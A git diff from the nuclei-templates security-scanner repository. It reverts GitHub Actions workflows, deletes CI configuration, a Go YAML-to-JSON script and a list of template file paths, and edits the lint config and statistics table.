Merge pull request #6930 from projectdiscovery/CVE-2020-16846

Update CVE-2020-16846.yaml
2026-11-07 08:36:19 -10:00 · 2023-03-22 08:55:41 +05:30 · 2023-03-21 14:09:29 +05:30 · 2023-03-02 13:37:07 +05:30 · 2023-03-02 13:34:02 +05:30 · 2023-03-02 04:26:26 +00:00
1568 changed files with 3897 additions and 43214 deletions
@@ -1,30 +0,0 @@
-# Set to true to add reviewers to pull requests
-addReviewers: true
-
-# Set to true to add assignees to pull requests
-addAssignees: true
-
-# A list of reviewers to be added to pull requests (GitHub user name)
-reviewers:
-  - ritikchaddha
-  - DhiyaneshGeek
-  - pussycat0x
-
-# A number of reviewers added to the pull request
-# Set 0 to add all the reviewers (default: 0)
-numberOfReviewers: 1
-
- # A list of assignees, overrides reviewers if set
-assignees:
-  - DhiyaneshGeek
-  - pussycat0x
-  - ritikchaddha
-
-# A number of assignees to add to the pull request
-# Set to 0 to add all of the assignees.
-# Uses numberOfReviewers if unset.
-numberOfAssignees: 1
-
-# A list of keywords to be skipped the process that add reviewers if pull requests include it
-# skipKeywords:
-#   - wip
@@ -1,19 +0,0 @@
-# To get started with Dependabot version updates, you'll need to specify which
-# package ecosystems to update and where the package manifests are located.
-# Please see the documentation for all configuration options:
-# https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
-
-version: 2
-updates:
-
-  # Maintain dependencies for GitHub Actions
-  - package-ecosystem: "github-actions"
-    directory: "/"
-    schedule:
-      interval: "weekly"
-    target-branch: "main"
-    commit-message:
-      prefix: "chore"
-      include: "scope"
-    labels:
-      - "Type: Maintenance"
@@ -1,93 +0,0 @@
-package main
-
-import (
-	"encoding/json"
-	"fmt"
-	"io/ioutil"
-	"os"
-	"path/filepath"
-	"strings"
-
-	"gopkg.in/yaml.v3"
-)
-
-type Classification struct {
-	CVSSScore string `yaml:"cvss-score,omitempty"`
-}
-
-type Info struct {
-	Name        string         `yaml:"name"`
-	Severity    string         `yaml:"severity"`
-	Description string         `yaml:"description"`
-	Classification Classification `yaml:"classification,omitempty"`
-}
-
-type Data struct {
-	ID          string `yaml:"id"`
-	Info        Info   `yaml:"info"`
-	FilePath    string `json:"file_path"`
-}
-
-func main() {
-	if len(os.Args) != 3 {
-		fmt.Println("Usage: go run main.go <directory> <output_file>")
-		os.Exit(1)
-	}
-
-	directory := os.Args[1]
-	outputFile := os.Args[2]
-
-	var data []Data
-
-	err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
-		if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
-			yamlFile, err := ioutil.ReadFile(path)
-                if err != nil {
-                    fmt.Printf("Error reading YAML file %s: %v\n", path, err)
-                    return err
-                }
-    
-                var d Data
-                err = yaml.Unmarshal(yamlFile, &d)
-                if err != nil {
-                    fmt.Printf("Error unmarshalling YAML file %s: %v\n", path, err)
-                    return err
-                }
-                if d.Info.Classification.CVSSScore == "" {
-                    d.Info.Classification.CVSSScore = "N/A"
-                }
-                if d.Info.Classification == (Classification{}) {
-                    d.Info.Classification.CVSSScore = "N/A"
-                }
-		fpath := strings.Replace(path, "/home/runner/work/nuclei-templates/nuclei-templates/", "", 1)
-                d.FilePath = fpath
-    
-                data = append(data, d)
-            }
-            return nil
-        })
-    
-        if err != nil {
-            fmt.Printf("Error reading directory: %v\n", err)
-            os.Exit(1)
-        }
-    
-        var jsonData []byte
-        for _, d := range data {
-            temp, err := json.Marshal(d)
-            if err != nil {
-                fmt.Printf("Error marshalling JSON: %v\n", err)
-                os.Exit(1)
-            }
-            jsonData = append(jsonData, temp...)
-            jsonData = append(jsonData, byte('\n'))
-        }
-        err = ioutil.WriteFile(outputFile, jsonData, 0644)
-        if err != nil {
-            fmt.Printf("Error writing JSON data to file: %v\n", err)
-            os.Exit(1)
-        }
-    
-        fmt.Println("JSON data written to", outputFile)
-    }
-    
@@ -3,26 +3,28 @@ name: ✍🏻 CVE Annotate
 on:
  push:
    branches:
-      - main
-    paths:
-      - 'cves/**.yaml'
+      - master
  workflow_dispatch:

 jobs:
  docs:
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v3
-        with: 
-          fetch-depth: 0
+      - uses: actions/checkout@v2

-      - name: Set up Go
-        uses: actions/setup-go@v3
-        with:
-          go-version: 1.19
+      - name: Get Github tag
+        id: meta
+        run: |
+          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT

-      - name: cve-annotate install
-        run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@latest
+      - name: Setup CVE annotate
+        if: steps.meta.outputs.TAG != ''
+        env:
+          VERSION: ${{ steps.meta.outputs.TAG }}
+        run: |
+          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/cve-annotate.zip
+          sudo unzip cve-annotate.zip -d /usr/local/bin
+        working-directory: /tmp

      - name: Generate CVE Annotations
        id: cve-annotate
@@ -1,38 +0,0 @@
-name: Generate JSON Metadata of CVE Templates 
-
-on:
-  push:
-    branches:
-      - main
-    paths:
-      - 'cves/**'
-
-jobs:
-  cve2json:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@master
-      - name: Set up Go
-        uses: actions/setup-go@v3
-        with:
-          go-version: 1.19
-          check-latest: true
-          
-      - name: run yaml2json.go to generate cves.json
-        run: |
-           go env -w GO111MODULE=off
-           go get gopkg.in/yaml.v3
-           go run .github/scripts/yaml2json.go $GITHUB_WORKSPACE/cves/ cves.json
-          
-      - name: Commit files
-        run: |
-          git pull
-          git add cves.json
-          git config --local user.email "[email protected]"
-          git config --local user.name "GitHub Action"
-          git commit -m "Auto Generated cves.json [$(date)] :robot:" -a
-
-      - name: Push changes
-        uses: ad-m/github-push-action@master
-        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
@@ -3,9 +3,7 @@ name: 🥳 New Template List
 on:
  push:
    branches:
-      - main
-    paths:
-      - '**.yaml'
+      - master
  workflow_dispatch:

 jobs:
@@ -22,7 +22,7 @@ jobs:
          fetch-depth: 0

      - name: Set up Python
-        uses: actions/setup-python@v4
+        uses: actions/setup-python@v2
        with:
          python-version: "3.8"

@@ -1,10 +1,6 @@
 name: ❄️ YAML Lint

-on:
-  pull_request:
-    paths:
-      - '**.yaml'
-  workflow_dispatch:
+on: [push, pull_request]

 jobs:
  build:
@@ -12,7 +8,7 @@ jobs:
    steps:
      - uses: actions/checkout@v2
      - name: Yamllint
-        uses: karancode/yamllint-github-action@v2.0.0
+        uses: karancode/yamllint-github-action@master
        with:
          yamllint_config_filepath: .yamllint
          yamllint_strict: false
@@ -11,12 +11,9 @@ jobs:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@master
-      - name: Set up Go
-        uses: actions/setup-go@v3
-        with:
-          go-version: 1.19
-          check-latest: true
-          cache: true
+      - uses: actions/setup-go@v2
+        with: 
+          go-version: 1.18

      - name: install checksum generator
        run: |
@@ -3,19 +3,16 @@ name: 📑 Template-DB Indexer
 on:
  push:
    branches:
-      - main
-    paths:
-      - '**.yaml'
+      - master
  workflow_dispatch:

 jobs:
  index:
    runs-on: ubuntu-latest
    steps:
-      - name: Set up Go
-        uses: actions/setup-go@v3
+      - uses: actions/setup-go@v2
        with:
-          go-version: 1.19
+          go-version: 1.17

      - name: Installing Indexer
        run: |
@@ -1,26 +1,26 @@
 name: 🛠 Template Validate

-on:
-  pull_request:
-    paths:
-      - '**.yaml'
-  workflow_dispatch:
+on: [ push, pull_request ]

 jobs:
  build:
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v3
-        with: 
-          fetch-depth: 0
+      - uses: actions/checkout@v2

-      - name: Set up Go
-        uses: actions/setup-go@v3
-        with:
-          go-version: 1.19
+      - name: Get Github tag
+        id: meta
+        run: |
+          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT

-      - name: nuclei install
-        run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
+      - name: Setup Nuclei
+        if: steps.meta.outputs.TAG != ''
+        env:
+          VERSION: ${{ steps.meta.outputs.TAG }}
+        run: |
+          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/nuclei_${VERSION:1}_linux_amd64.zip
+          sudo unzip nuclei*.zip -d /usr/local/bin
+        working-directory: /tmp

      - name: Template Validation
        run: |
@@ -10,14 +10,10 @@ jobs:
  build:
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@master
+      - uses: actions/setup-go@v2
        with: 
-          fetch-depth: 0
-
-      - name: Set up Go
-        uses: actions/setup-go@v3
-        with:
-          go-version: 1.19
+          go-version: 1.18

      - name: Installing Template Stats
        run: |
@@ -55,4 +51,5 @@ jobs:
      - name: Push changes
        uses: ad-m/github-push-action@master
        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: master
@@ -1,10 +1,8 @@
 name: ✨ WordPress Plugins - Update
-
 on:
  schedule:
    - cron: "0 4 * * *" # every day at 4am UTC
  workflow_dispatch:
-
 jobs:
  Update:
    runs-on: ubuntu-latest
@@ -1,656 +0,0 @@
-cves/2018/CVE-2018-6184.yaml
-cves/2021/CVE-2021-25296.yaml
-cves/2021/CVE-2021-25297.yaml
-cves/2021/CVE-2021-25298.yaml
-cves/2021/CVE-2021-25299.yaml
-cves/2021/CVE-2021-30134.yaml
-cves/2021/CVE-2021-36580.yaml
-cves/2022/CVE-2022-2599.yaml
-cves/2022/CVE-2022-28923.yaml
-cves/2022/CVE-2022-39952.yaml
-cves/2023/CVE-2023-23488.yaml
-cves/2023/CVE-2023-23489.yaml
-cves/2023/CVE-2023-23752.yaml
-cves/2023/CVE-2023-24322.yaml
-default-logins/nagios/nagiosxi-default-login.yaml
-exposed-panels/c2/covenant-c2.yaml
-exposed-panels/c2/deimos-c2.yaml
-exposed-panels/c2/metasploit-c2.yaml
-exposed-panels/c2/mythic-c2.yaml
-exposed-panels/elemiz-network-manager.yaml
-exposed-panels/fortinet/fortinet-fortinac-panel.yaml
-exposed-panels/freeipa-panel.yaml
-exposures/logs/dozzle-container-logs.yaml
-exposures/tokens/mapbox/mapbox-token-disclosure.yaml
-exposures/tokens/razorpay/razorpay-clientid-disclosure.yaml
-file/keys/fcm-api-key.yaml
-file/keys/mapbox-token.yaml
-file/keys/razorpay-client-id.yaml
-file/keys/zapier-webhook.yaml
-iot/ampguard-wifi-setup.yaml
-misconfiguration/oneinstack-control-center.yaml
-misconfiguration/tls-sni-proxy.yaml
-misconfiguration/typo3-composer.yaml
-osint/1001mem.yaml
-osint/21buttons.yaml
-osint/247sports.yaml
-osint/3dnews.yaml
-osint/3dtoday.yaml
-osint/7cup.yaml
-osint/7dach.yaml
-osint/aaha-chat.yaml
-osint/aboutme.yaml
-osint/acf.yaml
-osint/admire-me.yaml
-osint/adult-forum.yaml
-osint/adultism.yaml
-osint/advfn.yaml
-osint/aflam.yaml
-osint/airline-pilot-life.yaml
-osint/airliners.yaml
-osint/akniga.yaml
-osint/albicla.yaml
-osint/alik.yaml
-osint/allesovercrypto.yaml
-osint/allmylinks.yaml
-osint/alloannonces.yaml
-osint/alltrails.yaml
-osint/ameblo.yaml
-osint/americanthinker.yaml
-osint/animeplanet.yaml
-osint/anobii.yaml
-osint/anonup.yaml
-osint/apex-legends.yaml
-osint/appian.yaml
-osint/apteka.yaml
-osint/archive-of-our-own-account.yaml
-osint/arduino.yaml
-osint/armorgames.yaml
-osint/artbreeder.yaml
-osint/artists-clients.yaml
-osint/artstation.yaml
-osint/asciinema.yaml
-osint/askfm.yaml
-osint/audiojungle.yaml
-osint/auru.yaml
-osint/authorstream.yaml
-osint/avid-community.yaml
-osint/babepedia.yaml
-osint/babypips.yaml
-osint/bandcamp.yaml
-osint/bandlab.yaml
-osint/bblog-ru.yaml
-osint/bdsmlr.yaml
-osint/bdsmsingles.yaml
-osint/behance.yaml
-osint/bentbox.yaml
-osint/biggerpockets.yaml
-osint/bigo-live.yaml
-osint/bikemap.yaml
-osint/bimpos.yaml
-osint/biolink.yaml
-osint/bitbucket.yaml
-osint/bitchute.yaml
-osint/bitcoin-forum.yaml
-osint/bittube.yaml
-osint/blipfm.yaml
-osint/blogger.yaml
-osint/blogipl.yaml
-osint/blogmarks.yaml
-osint/blogspot.yaml
-osint/bodybuildingcom.yaml
-osint/bonga-cams.yaml
-osint/bookcrossing.yaml
-osint/boosty.yaml
-osint/booth.yaml
-osint/breach-forums.yaml
-osint/brickset.yaml
-osint/bugcrowd.yaml
-osint/bunpro.yaml
-osint/buymeacoffee.yaml
-osint/buzzfeed.yaml
-osint/buzznet.yaml
-osint/cafecito.yaml
-osint/calendy.yaml
-osint/cameo.yaml
-osint/carbonmade.yaml
-osint/careerhabr.yaml
-osint/caringbridge.yaml
-osint/carrdco.yaml
-osint/cashapp.yaml
-osint/castingcallclub.yaml
-osint/cd-action.yaml
-osint/cdapl.yaml
-osint/championat.yaml
-osint/chamsko.yaml
-osint/chaturbate.yaml
-osint/cheezburger.yaml
-osint/chesscom.yaml
-osint/chomikujpl.yaml
-osint/chyoa.yaml
-osint/climatejusticerocks-mastodon-instance.yaml
-osint/cloudflare.yaml
-osint/clubhouse.yaml
-osint/clusterdafrica.yaml
-osint/cnet.yaml
-osint/codeberg.yaml
-osint/codecademy.yaml
-osint/codeforces.yaml
-osint/codementor.yaml
-osint/coderwall.yaml
-osint/codewars.yaml
-osint/cohost.yaml
-osint/colourlovers.yaml
-osint/contactossex.yaml
-osint/coroflot.yaml
-osint/cowboys4angels.yaml
-osint/cracked-io.yaml
-osint/cracked.yaml
-osint/crevado.yaml
-osint/crowdin.yaml
-osint/cults3d.yaml
-osint/curiouscat.yaml
-osint/cytoid.yaml
-osint/dailymotion.yaml
-osint/darudar.yaml
-osint/dateinasia.yaml
-osint/datezone.yaml
-osint/datingru.yaml
-osint/demotywatory.yaml
-osint/depop.yaml
-osint/designspriation.yaml
-osint/destructoid.yaml
-osint/deviantart.yaml
-osint/devrant.yaml
-osint/devto.yaml
-osint/dfgames.yaml
-osint/diablo.yaml
-osint/dibiz.yaml
-osint/digitalspy.yaml
-osint/diigo.yaml
-osint/disabledrocks-mastodon-instance.yaml
-osint/discogs.yaml
-osint/discourse.yaml
-osint/discusselasticco.yaml
-osint/discusssocial-mastodon-instance.yaml
-osint/disqus.yaml
-osint/dissenter.yaml
-osint/dockerhub.yaml
-osint/dojoverse.yaml
-osint/donation-alerts.yaml
-osint/dotcards.yaml
-osint/dribbble.yaml
-osint/droners.yaml
-osint/drum.yaml
-osint/duolingo.yaml
-osint/easyen.yaml
-osint/ebay-stores.yaml
-osint/ebay.yaml
-osint/elloco.yaml
-osint/engadget.yaml
-osint/eporner.yaml
-osint/etoro.yaml
-osint/etsy.yaml
-osint/expressionalsocial-mastodon-instance.yaml
-osint/extralunchmoney.yaml
-osint/eyeem.yaml
-osint/f3.yaml
-osint/fabswingers.yaml
-osint/faktopedia.yaml
-osint/fancentro.yaml
-osint/fandalism.yaml
-osint/fandom.yaml
-osint/fanpop.yaml
-osint/fansly.yaml
-osint/fark.yaml
-osint/farkascity.yaml
-osint/fatsecret.yaml
-osint/fcv.yaml
-osint/federatedpress-mastodon-instance.yaml
-osint/figma.yaml
-osint/filmweb.yaml
-osint/fine-art-america.yaml
-osint/fiverr.yaml
-osint/flickr.yaml
-osint/flipboard.yaml
-osint/flowcode.yaml
-osint/fodors-forum.yaml
-osint/fortnite-tracker.yaml
-osint/forumprawneorg.yaml
-osint/fosstodonorg-mastodon-instance.yaml
-osint/fotka.yaml
-osint/foursquare.yaml
-osint/freelancer.yaml
-osint/freesound.yaml
-osint/friendfinder-x.yaml
-osint/friendfinder.yaml
-osint/friendweb.yaml
-osint/furaffinity.yaml
-osint/furiffic.yaml
-osint/gab.yaml
-osint/game-debate.yaml
-osint/gamespot.yaml
-osint/garmin-connect.yaml
-osint/geocaching.yaml
-osint/getmonero.yaml
-osint/gettr.yaml
-osint/gfycat.yaml
-osint/gigapan.yaml
-osint/giphy.yaml
-osint/girlfriendsmeet.yaml
-osint/gitea.yaml
-osint/gitee.yaml
-osint/giters.yaml
-osint/github.yaml
-osint/gitlab.yaml
-osint/gloriatv.yaml
-osint/gnome-extensions.yaml
-osint/gpoddernet.yaml
-osint/grandprof.yaml
-osint/graphicssocial-mastodon-instance.yaml
-osint/gravatar.yaml
-osint/gumroad.yaml
-osint/hackaday.yaml
-osint/hacker-news.yaml
-osint/hackerearth.yaml
-osint/hackernoon.yaml
-osint/hackerone.yaml
-osint/hackerrank.yaml
-osint/hackster.yaml
-osint/hamaha.yaml
-osint/hanime.yaml
-osint/hcommonssocial-mastodon-instance.yaml
-osint/heylink.yaml
-osint/hiberworld.yaml
-osint/hihello.yaml
-osint/historianssocial-mastodon-instance.yaml
-osint/homedesign3d.yaml
-osint/hometechsocial-mastodon-instance.yaml
-osint/hoobe.yaml
-osint/hostuxsocial-mastodon-instance.yaml
-osint/houzz.yaml
-osint/hubpages.yaml
-osint/hubski.yaml
-osint/hugging-face.yaml
-osint/iconfinder.yaml
-osint/icq-chat.yaml
-osint/ifttt.yaml
-osint/ifunny.yaml
-osint/igromania.yaml
-osint/ilovegrowingmarijuana.yaml
-osint/imagefap.yaml
-osint/imageshack.yaml
-osint/imgsrcru.yaml
-osint/imgur.yaml
-osint/inaturalist.yaml
-osint/independent-academia.yaml
-osint/inkbunny.yaml
-osint/insanejournal.yaml
-osint/instagram.yaml
-osint/instructables.yaml
-osint/internet-archive-account.yaml
-osint/internet-archive-user-search.yaml
-osint/interpals.yaml
-osint/ismygirl.yaml
-osint/issuu.yaml
-osint/itchio.yaml
-osint/japandict.yaml
-osint/jbzd.yaml
-osint/jejapl.yaml
-osint/jeuxvideo.yaml
-osint/joe-monster.yaml
-osint/jsfiddle.yaml
-osint/justforfans.yaml
-osint/kaggle.yaml
-osint/karabin.yaml
-osint/keybase.yaml
-osint/kickstarter.yaml
-osint/kik.yaml
-osint/kipin.yaml
-osint/knowyourmeme.yaml
-osint/ko-fi.yaml
-osint/kongregate.yaml
-osint/kotburger.yaml
-osint/kwejkpl.yaml
-osint/librarything.yaml
-osint/libretoothgr-mastodon-instance.yaml
-osint/lichess.yaml
-osint/likeevideo.yaml
-osint/line.yaml
-osint/linktree.yaml
-osint/linuxorgru.yaml
-osint/litmindclub-mastodon-instance.yaml
-osint/livejournal.yaml
-osint/livemasterru.yaml
-osint/lobsters.yaml
-osint/lorsh-mastodon-instance.yaml
-osint/love-ru.yaml
-osint/lowcygierpl.yaml
-osint/maga-chat.yaml
-osint/magabook.yaml
-osint/magix.yaml
-osint/manyvids.yaml
-osint/mapmytracks.yaml
-osint/mapstodonspace-mastodon-instance.yaml
-osint/maroc-nl.yaml
-osint/marshmallow.yaml
-osint/martech.yaml
-osint/massage-anywhere.yaml
-osint/mastoai.yaml
-osint/mastodon-101010pl.yaml
-osint/mastodon-api.yaml
-osint/mastodon-chaossocial.yaml
-osint/mastodon-climatejusticerocks.yaml
-osint/mastodon-countersocial.yaml
-osint/mastodon-defcon.yaml
-osint/mastodon-eu-voice.yaml
-osint/mastodon-mastodon.yaml
-osint/mastodon-meowsocial.yaml
-osint/mastodon-mstdnio.yaml
-osint/mastodon-polsocial.yaml
-osint/mastodon-rigczclub.yaml
-osint/mastodon-social-tchncs.yaml
-osint/mastodon-tflnetpl.yaml
-osint/mastodon-tootcommunity.yaml
-osint/mastodonbooksnet-mastodon-instance.yaml
-osint/mastodonchasedemdev-mastodon-instance.yaml
-osint/mastodononline.yaml
-osint/mastonyc-mastodon-instance.yaml
-osint/mastown-mastodon-instance.yaml
-osint/mcname-minecraft.yaml
-osint/mcuuid-minecraft.yaml
-osint/mediakits.yaml
-osint/medium.yaml
-osint/medyczkapl.yaml
-osint/meet-me.yaml
-osint/megamodelspl.yaml
-osint/memrise.yaml
-osint/message-me.yaml
-osint/metacritic.yaml
-osint/microsoft-technet-community.yaml
-osint/minds.yaml
-osint/minecraft-list.yaml
-osint/mintme.yaml
-osint/mistrzowie.yaml
-osint/mix.yaml
-osint/mixi.yaml
-osint/mixlr.yaml
-osint/mmorpg.yaml
-osint/mod-db.yaml
-osint/moneysavingexpert.yaml
-osint/motokiller.yaml
-osint/moxfield.yaml
-osint/muck-rack.yaml
-osint/musiciansocial-mastodon-instance.yaml
-osint/musictraveler.yaml
-osint/my-instants.yaml
-osint/myanimelist.yaml
-osint/mybuildercom.yaml
-osint/myfitnesspal-author.yaml
-osint/myfitnesspal-community.yaml
-osint/mylot.yaml
-osint/mymfans.yaml
-osint/myportfolio.yaml
-osint/myspace.yaml
-osint/myspreadshop.yaml
-osint/naija-planet.yaml
-osint/nairaland.yaml
-osint/naturalnews.yaml
-osint/naver.yaml
-osint/netvibes.yaml
-osint/newgrounds.yaml
-osint/newmeet.yaml
-osint/nihbuatjajan.yaml
-osint/nitecrew-mastodon-instance.yaml
-osint/nnru.yaml
-osint/notabug.yaml
-osint/note.yaml
-osint/oglaszamy24hpl.yaml
-osint/ogugg.yaml
-osint/okidoki.yaml
-osint/okru.yaml
-osint/olx.yaml
-osint/omlet.yaml
-osint/opencollective.yaml
-osint/opensource.yaml
-osint/openstreetmap.yaml
-osint/opgg.yaml
-osint/orbys.yaml
-osint/osu.yaml
-osint/our-freedom-book.yaml
-osint/owly.yaml
-osint/palnet.yaml
-osint/parler-archived-posts.yaml
-osint/parler-archived-profile.yaml
-osint/parler.yaml
-osint/pastebin.yaml
-osint/patch.yaml
-osint/patientslikeme.yaml
-osint/patreon.yaml
-osint/patriots-win.yaml
-osint/patronite.yaml
-osint/paypal.yaml
-osint/pcgamer.yaml
-osint/pcpartpicker.yaml
-osint/peing.yaml
-osint/periscope.yaml
-osint/pettingzooco-mastodon-instance.yaml
-osint/pewex.yaml
-osint/picsart.yaml
-osint/piekielni.yaml
-osint/pikabu.yaml
-osint/pillowfort.yaml
-osint/pinkbike.yaml
-osint/pinterest.yaml
-osint/pixelfedsocial.yaml
-osint/playstation-network.yaml
-osint/plurk.yaml
-osint/pokec.yaml
-osint/pokemonshowdown.yaml
-osint/pokerstrategy.yaml
-osint/polchatpl.yaml
-osint/policja2009.yaml
-osint/poll-everywhere.yaml
-osint/polygon.yaml
-osint/popl.yaml
-osint/pornhub-porn-stars.yaml
-osint/pornhub-users.yaml
-osint/poshmark.yaml
-osint/postcrossing.yaml
-osint/poweredbygaysocial-mastodon-instance.yaml
-osint/producthunt.yaml
-osint/promodj.yaml
-osint/pronounspage.yaml
-osint/pronouny.yaml
-osint/prose.yaml
-osint/prvpl.yaml
-osint/psstaudio.yaml
-osint/public.yaml
-osint/pypi.yaml
-osint/queer.yaml
-osint/quitterpl.yaml
-osint/quora.yaml
-osint/raddleme.yaml
-osint/rantli.yaml
-osint/reblogme.yaml
-osint/redbubble.yaml
-osint/reddit.yaml
-osint/redgifs.yaml
-osint/refsheet.yaml
-osint/researchgate.yaml
-osint/resumes-actorsaccess.yaml
-osint/revolut.yaml
-osint/riskru.yaml
-osint/roblox.yaml
-osint/rsi.yaml
-osint/ru-123rf.yaml
-osint/rumblechannel.yaml
-osint/rumbleuser.yaml
-osint/salon24.yaml
-osint/saracartershow.yaml
-osint/scoutwiki.yaml
-osint/scratch.yaml
-osint/secure-donation.yaml
-osint/seneporno.yaml
-osint/sentimente.yaml
-osint/seoclerks.yaml
-osint/setlistfm.yaml
-osint/sexworker.yaml
-osint/sfd.yaml
-osint/shanii-writes.yaml
-osint/shesfreaky.yaml
-osint/shopify.yaml
-osint/shutterstock.yaml
-osint/skeb.yaml
-osint/skyrock.yaml
-osint/slackholes.yaml
-osint/slant.yaml
-osint/slides.yaml
-osint/slideshare.yaml
-osint/smashrun.yaml
-osint/smelsy.yaml
-osint/smugmug.yaml
-osint/smule.yaml
-osint/snapchat-stories.yaml
-osint/snapchat.yaml
-osint/snipfeed.yaml
-osint/soccitizen4eu.yaml
-osint/social-msdn.yaml
-osint/socialbundde.yaml
-osint/sofurry.yaml
-osint/solikick.yaml
-osint/soloby.yaml
-osint/soloto.yaml
-osint/soundcloud.yaml
-osint/soup.yaml
-osint/sourceforge.yaml
-osint/speaker-deck.yaml
-osint/speedrun.yaml
-osint/spiceworks.yaml
-osint/sporcle.yaml
-osint/spotify.yaml
-osint/steam.yaml
-osint/steemit.yaml
-osint/steller.yaml
-osint/stonerssocial-mastodon-instance.yaml
-osint/storycorps.yaml
-osint/streamelements.yaml
-osint/streamlabs.yaml
-osint/stripchat.yaml
-osint/subscribestar.yaml
-osint/sukebeinyaasi.yaml
-osint/suzuri.yaml
-osint/szmerinfo.yaml
-osint/tabletoptournament.yaml
-osint/tagged.yaml
-osint/tamtam.yaml
-osint/tanukipl.yaml
-osint/tapitag.yaml
-osint/tappy.yaml
-osint/taringa.yaml
-osint/taskrabbit.yaml
-osint/teamtreehouse.yaml
-osint/teddygirls.yaml
-osint/teespring.yaml
-osint/teknik.yaml
-osint/telegram.yaml
-osint/tellonym.yaml
-osint/tenor.yaml
-osint/tf2-backpack-examiner.yaml
-osint/thegatewaypundit.yaml
-osint/theguardian.yaml
-osint/themeforest.yaml
-osint/thetattooforum.yaml
-osint/tiktok.yaml
-osint/tildezone-mastodon-instance.yaml
-osint/tinder.yaml
-osint/tootingch-mastodon-instance.yaml
-osint/totalwar.yaml
-osint/toyhouse.yaml
-osint/trackmanialadder.yaml
-osint/tradingview.yaml
-osint/trakt.yaml
-osint/trello.yaml
-osint/tripadvisor.yaml
-osint/truth-social.yaml
-osint/tumblr.yaml
-osint/tunefind.yaml
-osint/twitcasting.yaml
-osint/twitch.yaml
-osint/twitter-archived-profile.yaml
-osint/twitter-archived-tweets.yaml
-osint/twitter.yaml
-osint/twpro.yaml
-osint/ubisoft.yaml
-osint/udemy.yaml
-osint/uefconnect.yaml
-osint/uid.yaml
-osint/uiuxdevsocial-mastodon-instance.yaml
-osint/ultras-diary.yaml
-osint/ulubpl.yaml
-osint/unsplash.yaml
-osint/untappd.yaml
-osint/usa-life.yaml
-osint/utipio.yaml
-osint/uwuai.yaml
-osint/uwumarket.yaml
-osint/venmo.yaml
-osint/vero.yaml
-osint/vibilagare.yaml
-osint/viddler.yaml
-osint/vimeo.yaml
-osint/vine.yaml
-osint/vip-blog.yaml
-osint/virustotal.yaml
-osint/visnesscard.yaml
-osint/vivino.yaml
-osint/vk.yaml
-osint/vklworld-mastodon-instance.yaml
-osint/vmstio-mastodon-instance.yaml
-osint/voice123.yaml
-osint/voicescom.yaml
-osint/vsco.yaml
-osint/wanelo.yaml
-osint/warriorforum.yaml
-osint/watchmemorecom.yaml
-osint/watchmyfeed.yaml
-osint/wattpad.yaml
-osint/weasyl.yaml
-osint/weebly.yaml
-osint/wego.yaml
-osint/weheartit.yaml
-osint/weibo.yaml
-osint/wetransfer.yaml
-osint/wikidot.yaml
-osint/wikipedia.yaml
-osint/wimkin-publicprofile.yaml
-osint/wireclub.yaml
-osint/wishlistr.yaml
-osint/wolni-slowianie.yaml
-osint/wordnik.yaml
-osint/wordpress-support.yaml
-osint/wordpress.yaml
-osint/wowhead.yaml
-osint/wykop.yaml
-osint/xanga.yaml
-osint/xbox-gamertag.yaml
-osint/xhamster.yaml
-osint/xing.yaml
-osint/xvideos-models.yaml
-osint/xvideos-profiles.yaml
-osint/yahoo-japan-auction.yaml
-osint/yapishu.yaml
-osint/yazawaj.yaml
-osint/yelp.yaml
-osint/youpic.yaml
-osint/youtube.yaml
-osint/zatrybipl.yaml
-osint/zbiornik.yaml
-osint/zhihu.yaml
-osint/zillow.yaml
-osint/zmarsacom.yaml
-osint/zomato.yaml
-osint/zoomitir.yaml
-technologies/mojoportal-detect.yaml
-vulnerabilities/other/nextjs-redirect.yaml
-vulnerabilities/wordpress/seatreg-redirect.yaml
@@ -3,9 +3,7 @@ extends: default

 ignore: |
  .pre-commit-config.yml
-  .github/
-  .git/
-  *.yml
+  .github/workflows/*.yml

 rules:
  document-start: disable
@@ -16,6 +14,4 @@ rules:
  comments:
    require-starting-space: true
    ignore-shebangs: true
-    min-spaces-from-content: 1
-  empty-lines:
-    max: 5
+    min-spaces-from-content: 1
@@ -40,20 +40,20 @@ An overview of the nuclei template project, including statistics on unique tags,

 ## Nuclei Templates Top 10 statistics

-|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1604 | dhiyaneshdk  |   727 | cves             |  1583 | info     |  2038 | http    |  4772 |
-| panel     |   850 | daffainfo    |   662 | exposed-panels   |   835 | high     |  1166 | network |    86 |
-| wordpress |   690 | pikpikcu     |   348 | technologies     |   548 | medium   |   892 | file    |    80 |
-| exposure  |   598 | pdteam       |   274 | vulnerabilities  |   536 | critical |   592 | dns     |    18 |
-| edb       |   587 | geeknik      |   221 | misconfiguration |   412 | low      |   260 |         |       |
-| wp-plugin |   585 | ricardomaia  |   212 | exposures        |   331 | unknown  |    25 |         |       |
-| tech      |   585 | pussycat0x   |   205 | token-spray      |   239 |          |       |         |       |
-| xss       |   563 | ritikchaddha |   191 | workflows        |   190 |          |       |         |       |
-| lfi       |   525 | 0x_akoko     |   175 | default-logins   |   124 |          |       |         |       |
-| cve2021   |   377 | dwisiswant0  |   171 | file             |    80 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
